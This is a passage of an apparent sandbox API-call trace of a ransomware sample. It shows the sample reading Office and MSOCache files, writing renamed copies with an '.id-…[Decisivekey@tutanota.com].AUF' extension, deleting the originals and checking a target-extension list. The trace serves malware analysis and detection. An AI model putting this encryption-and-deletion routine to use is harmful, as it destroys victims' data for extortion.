(lpString1=".dbf", lpString2=".CNV") returned 1 [0225.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV") returned 67 [0225.443] lstrlenW (lpString=".1cd") returned 4 [0225.443] lstrcmpiW (lpString1=".1cd", lpString2=".CNV") returned -1 [0225.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV") returned 67 [0225.443] lstrlenW (lpString=".jpg") returned 4 [0225.443] lstrcmpiW (lpString1=".jpg", lpString2=".CNV") returned 1 [0225.444] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=58766) returned 1 [0225.444] CloseHandle (hObject=0x168) returned 1 [0225.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm")) returned 0x20 [0225.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0225.444] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.444] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0225.446] GetLastError () returned 0x0 [0225.446] ReadFile (in: hFile=0x168, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0xe58e, lpOverlapped=0x0) returned 1 [0225.448] WriteFile (in: hFile=0x224, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xe590, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xe590, lpOverlapped=0x0) returned 1 [0225.450] ReadFile (in: hFile=0x168, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0225.450] WriteFile (in: hFile=0x224, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.450] SetEndOfFile (hFile=0x224) returned 1 [0225.450] CloseHandle (hObject=0x224) returned 1 [0225.450] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.450] SetEndOfFile (hFile=0x168) returned 1 [0225.451] CloseHandle (hObject=0x168) returned 1 [0225.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.451] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm")) returned 1 [0225.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0225.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0225.451] lstrlenW (lpString=".doc") returned 4 [0225.451] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0225.451] lstrlenW (lpString=".docx") returned 5 [0225.451] lstrcmpiW (lpString1=".docx", lpString2="N.ELM") returned -1 [0225.451] lstrlenW (lpString=".pdf") returned 4 [0225.451] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0225.451] lstrlenW (lpString=".xls") returned 4 [0225.451] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0225.451] lstrlenW (lpString=".xlsx") returned 5 [0225.451] lstrcmpiW (lpString1=".xlsx", lpString2="N.ELM") returned -1 [0225.451] lstrlenW (lpString=".ppt") returned 4 [0225.451] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0225.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0225.451] lstrlenW (lpString=".zip") returned 4 [0225.451] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0225.451] lstrlenW (lpString=".rar") returned 4 [0225.452] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0225.452] lstrlenW (lpString=".bz2") returned 4 [0225.452] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0225.452] lstrlenW (lpString=".7z") returned 3 [0225.452] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0225.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0225.452] lstrlenW (lpString=".dbf") returned 4 [0225.452] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0225.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0225.452] lstrlenW (lpString=".1cd") returned 4 [0225.452] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0225.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0225.452] lstrlenW (lpString=".jpg") returned 4 [0225.452] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0225.452] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=555) returned 1 [0225.452] CloseHandle (hObject=0x168) returned 1 [0225.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf")) returned 0x20 [0225.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0225.453] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.453] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.453] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0225.453] GetLastError () returned 0x0 [0225.453] ReadFile (in: hFile=0x168, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x22b, lpOverlapped=0x0) returned 1 [0225.454] WriteFile (in: hFile=0x224, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x230, lpOverlapped=0x0) returned 1 [0225.455] ReadFile (in: hFile=0x168, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0225.455] WriteFile (in: hFile=0x224, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.455] SetEndOfFile (hFile=0x224) returned 1 [0225.455] CloseHandle (hObject=0x224) returned 1 [0225.455] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.455] SetEndOfFile (hFile=0x168) returned 1 [0225.456] CloseHandle (hObject=0x168) returned 1 [0225.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.456] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf")) returned 1 [0225.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0225.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0225.456] lstrlenW (lpString=".doc") returned 4 [0225.456] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0225.456] lstrlenW (lpString=".docx") returned 5 [0225.456] lstrcmpiW (lpString1=".docx", lpString2="N.INF") returned -1 [0225.456] lstrlenW (lpString=".pdf") returned 4 [0225.456] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0225.456] lstrlenW (lpString=".xls") returned 4 [0225.456] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0225.456] lstrlenW (lpString=".xlsx") returned 5 [0225.456] lstrcmpiW (lpString1=".xlsx", lpString2="N.INF") returned -1 [0225.456] lstrlenW (lpString=".ppt") returned 4 [0225.456] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0225.456] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0225.456] lstrlenW (lpString=".zip") returned 4 [0225.456] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0225.456] lstrlenW (lpString=".rar") returned 4 [0225.456] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0225.456] lstrlenW (lpString=".bz2") returned 4 [0225.456] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0225.456] lstrlenW (lpString=".7z") returned 3 [0225.456] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0225.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0225.457] lstrlenW (lpString=".dbf") returned 4 [0225.457] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0225.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0225.457] lstrlenW (lpString=".1cd") returned 4 [0225.457] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0225.457] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF") returned 77 [0225.457] lstrlenW (lpString=".jpg") returned 4 [0225.457] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0225.457] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=69575) returned 1 [0225.457] CloseHandle (hObject=0x168) returned 1 [0225.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm")) returned 0x20 [0225.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.457] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0225.457] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.457] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0225.458] GetLastError () returned 0x0 [0225.458] ReadFile (in: hFile=0x168, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x10fc7, lpOverlapped=0x0) returned 1 [0225.479] WriteFile (in: hFile=0x224, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x10fd0, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x10fd0, lpOverlapped=0x0) returned 1 [0225.480] ReadFile (in: hFile=0x168, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0225.480] WriteFile (in: hFile=0x224, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0225.480] SetEndOfFile (hFile=0x224) returned 1 [0225.481] CloseHandle (hObject=0x224) returned 1 [0225.481] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.481] SetEndOfFile (hFile=0x168) returned 1 [0225.482] CloseHandle (hObject=0x168) returned 1 [0225.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.482] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm")) returned 1 [0225.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0225.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0225.482] lstrlenW (lpString=".doc") returned 4 [0225.482] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0225.482] lstrlenW (lpString=".docx") returned 5 [0225.482] lstrcmpiW (lpString1=".docx", lpString2="C.ELM") returned -1 [0225.482] lstrlenW (lpString=".pdf") returned 4 [0225.482] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0225.482] lstrlenW (lpString=".xls") returned 4 [0225.482] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0225.482] lstrlenW (lpString=".xlsx") returned 5 [0225.482] lstrcmpiW (lpString1=".xlsx", lpString2="C.ELM") returned -1 [0225.482] lstrlenW (lpString=".ppt") returned 4 [0225.482] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0225.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0225.482] lstrlenW (lpString=".zip") returned 4 [0225.482] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0225.482] lstrlenW (lpString=".rar") returned 4 [0225.482] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0225.482] lstrlenW (lpString=".bz2") returned 4 [0225.482] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0225.482] lstrlenW (lpString=".7z") returned 3 [0225.482] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0225.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0225.482] lstrlenW (lpString=".dbf") returned 4 [0225.482] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0225.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0225.482] lstrlenW (lpString=".1cd") returned 4 [0225.482] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0225.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM") returned 73 [0225.483] lstrlenW (lpString=".jpg") returned 4 [0225.483] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 Thread: id = 17 os_tid = 0x5b8 [0203.833] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x773b0000 [0203.833] GetProcAddress (hModule=0x773b0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x773dd650 [0203.833] Wow64DisableWow64FsRedirection (in: OldValue=0x321ff58 | out: OldValue=0x321ff58*=0x0) returned 1 [0203.833] lstrlenW (lpString="kernel32.dll") returned 12 [0203.833] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0203.834] Sleep (dwMilliseconds=0x64) [0204.118] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0204.118] lstrlenW (lpString="Setup.xml") returned 9 [0204.118] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0204.453] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=2296) returned 1 [0204.453] CloseHandle (hObject=0x190) returned 1 [0204.453] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0204.453] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0204.453] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0204.453] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.453] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.453] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0204.590] GetLastError () returned 0x0 [0204.590] ReadFile (in: hFile=0x190, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0204.624] WriteFile (in: hFile=0x18c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x900, lpOverlapped=0x0) returned 1 [0204.850] ReadFile (in: hFile=0x190, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0204.850] WriteFile (in: hFile=0x18c, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0204.850] SetEndOfFile (hFile=0x18c) returned 1 [0204.851] CloseHandle (hObject=0x18c) returned 1 [0204.851] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0204.851] SetEndOfFile (hFile=0x190) returned 1 [0204.852] CloseHandle (hObject=0x190) returned 1 [0204.852] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0204.852] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0204.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.852] lstrlenW (lpString=".doc") returned 4 [0204.852] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.852] lstrlenW (lpString=".docx") returned 5 [0204.852] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0204.852] lstrlenW (lpString=".pdf") returned 4 [0204.852] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.852] lstrlenW (lpString=".xls") returned 4 [0204.852] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.852] lstrlenW (lpString=".xlsx") returned 5 [0204.852] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0204.852] lstrlenW (lpString=".ppt") returned 4 [0204.852] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.852] lstrlenW (lpString=".zip") returned 4 [0204.852] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.852] lstrlenW (lpString=".rar") returned 4 [0204.852] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.852] lstrlenW (lpString=".bz2") returned 4 [0204.852] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.852] lstrlenW (lpString=".7z") returned 3 [0204.852] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.853] lstrlenW (lpString=".dbf") returned 4 [0204.853] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.853] lstrlenW (lpString=".1cd") returned 4 [0204.853] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.853] lstrlenW (lpString=".jpg") returned 4 [0204.853] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.853] lstrlenW (lpString=".doc") returned 4 [0204.853] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.853] lstrlenW (lpString=".docx") returned 5 [0204.853] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0204.853] lstrlenW (lpString=".pdf") returned 4 [0204.853] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.853] lstrlenW (lpString=".xls") returned 4 [0204.853] lstrcmpiW 